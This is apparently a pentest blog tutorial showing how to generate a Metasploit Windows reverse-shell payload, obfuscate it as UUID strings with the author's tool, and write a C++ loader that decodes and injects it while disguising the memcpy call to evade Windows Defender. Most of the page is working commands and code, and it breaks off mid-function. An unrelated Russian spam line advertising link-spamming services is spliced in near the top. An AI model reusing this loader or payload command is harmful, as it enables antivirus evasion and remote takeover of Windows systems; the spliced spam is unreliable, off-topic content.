{{tag>IT-Security Windows Kali pentest obfuscation blog english}}

Оптимальный результат дадут свежие базы для xrumer <a href=https://www.olx.ua/d/uk/obyavlenie/progon-hrumerom-dr-50-po-ahrefs-uvelichu-reyting-domena-IDXnHrG.html>https://www.olx.ua/d/uk/obyavlenie/progon-hrumerom-dr-50-po-ahrefs-uvelichu-reyting-domena-IDXnHrG.html</a>, содержащие актуальные ссылки.
===== Tools =====

The encoder is part of my shellcode tool [[https://github.com/psycore8/shencode|ShenCode]], which is available as open source.

===== Step1: Prepare shellcode =====

==== generate ====

We create a payload without further encryption or encoding. This is usually recognised by Windows Defender.

&lt;code bash&gt;
python shencode.py create -c=&quot;-p windows/x64/shell/reverse_tcp LHOST=IPADDRESS LPORT=PORT -f raw -o shell_rev.raw&quot;
&lt;/code&gt;

==== encode ====

We now encode this payload as UUID strings.

&lt;code bash&gt;
python shencode.py encode -f shell_rev.raw -u
&lt;/code&gt;

The output now looks something like this:

&lt;code cpp&gt;
[*] try to open file
[+] reading 240906.001 successful!
[*] try to generate UUIDs
std::vector&lt;std::string&gt; sID = {
&quot;fce88f00-0000-6031-d264-8b523089e58b&quot;,
&quot;520c8b52-148b-7228-0fb7-4a2631ff31c0&quot;,
&quot;ac3c617c-022c-20c1-cf0d-01c74975ef52&quot;,
&quot;578b5210-8b42-3c01-d08b-407885c0744c&quot;,
...
&quot;c85fffd5-83f8-007d-2858-68004000006a&quot;,
&quot;0050680b-2f0f-30ff-d557-68756e4d61ff&quot;,
&quot;d55e5eff-0c24-0f85-70ff-ffffe99bffff&quot;,
&quot;ff01c329-c675-c1c3-bbf0-b5a2566a0053&quot;,
&quot;ffd5&quot; };
[+] DONE!
&lt;/code&gt;

===== Step 2: Write Inject.cpp =====

==== Header ====

=== obfuscated shellcode ===

We create a new C++ project and adopt the obfuscated string array that we created previously.

&lt;code cpp&gt;
#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;
#include &lt;iostream&gt;
#include &lt;sstream&gt;
#include &lt;vector&gt;
#include &lt;iomanip&gt;
#pragma warning

std::vector&lt;std::string&gt; sID = {
&quot;fce88f00-0000-6031-d264-8b523089e58b&quot;,
&quot;520c8b52-148b-7228-0fb7-4a2631ff31c0&quot;,
&quot;ac3c617c-022c-20c1-cf0d-01c74975ef52&quot;,
&quot;578b5210-8b42-3c01-d08b-407885c0744c&quot;,
...
&quot;c85fffd5-83f8-007d-2858-68004000006a&quot;,
&quot;0050680b-2f0f-30ff-d557-68756e4d61ff&quot;,
&quot;d55e5eff-0c24-0f85-70ff-ffffe99bffff&quot;,
&quot;ff01c329-c675-c1c3-bbf0-b5a2566a0053&quot;,
&quot;ffd5&quot; };
&lt;/code&gt;

==== Encoding and injection ====

=== Remove superfluous characters ===

Firstly, we need a function to remove the &#039;&#039;-&#039;&#039; characters. We pass a string to this function, which is then cleaned up.

&lt;code cpp&gt;
void removeDashes(std::string& str) {
str.erase(std::remove(str.begin(), str.end(), &#039;-&#039;), str.end());
}
&lt;/code&gt;

=== Convert strings to bytes ===

The next function converts the UUID strings into executable bytes. The string array is run through piece by piece:

* Remove from &#039;&#039;-&#039;&#039;
* Read 2 characters and return them as bytes
* When the string array has been run through, return the generated byte array to the caller

&lt;code cpp&gt;
std::vector&lt;uint8_t&gt; convertToBytes(const std::vector&lt;std::string&gt;& inputStrings) {
std::vector&lt;uint8_t&gt; byteArray;
for (const auto& str : inputStrings) {
std::string cleanStr = str;
removeDashes(cleanStr);
for (size_t i = 0; i &lt; cleanStr.length(); i += 2) {
if (i + 1 &lt; cleanStr.length()) {
std::string byteString = cleanStr.substr(i, 2);
uint8_t byte = static_cast&lt;uint8_t&gt;(std::stoi(byteString, nullptr, 16));
byteArray.push_back(byte);
}
}
}
return byteArray;
}
&lt;/code&gt;

=== Main programme ===

The main program initialises the variables, calls the conversion function, outputs the bytes to the console and then executes the injection.

To disguise this process somewhat, the function &#039;&#039;%%memcpy%%&#039;&#039; is not called directly, but linked to our own function via a pointer.

&lt;code cpp&gt;
int main() {
std::vector&lt;std::string&gt; input = sID;
std::vector&lt;uint8_t&gt; result = convertToBytes(input);
unsigned char* Payload = reinterpret_cast&lt;unsigned char*&gt;(result.data());
size_t byteArrayLength = result.size();
std::cout &lt;&lt; &quot;[x] Payload size: &quot; &lt;&lt; byteArrayLength &lt;&lt; &quot; bytes&quot; &lt;&lt; std::endl;

for (size_t i = 0; i &lt; byteArrayLength; ++i) {
std::cout &lt;&lt; std::hex &lt;&lt; std::setw(2) &lt;&lt; std::setfill(&#039;0&#039;) &lt;&lt; static_cast&lt;int&gt;(Payload[i]) &lt;&lt; &quot; &quot;;
if ((i + 1) % 8 == 0) {
std::cout &lt;&lt; st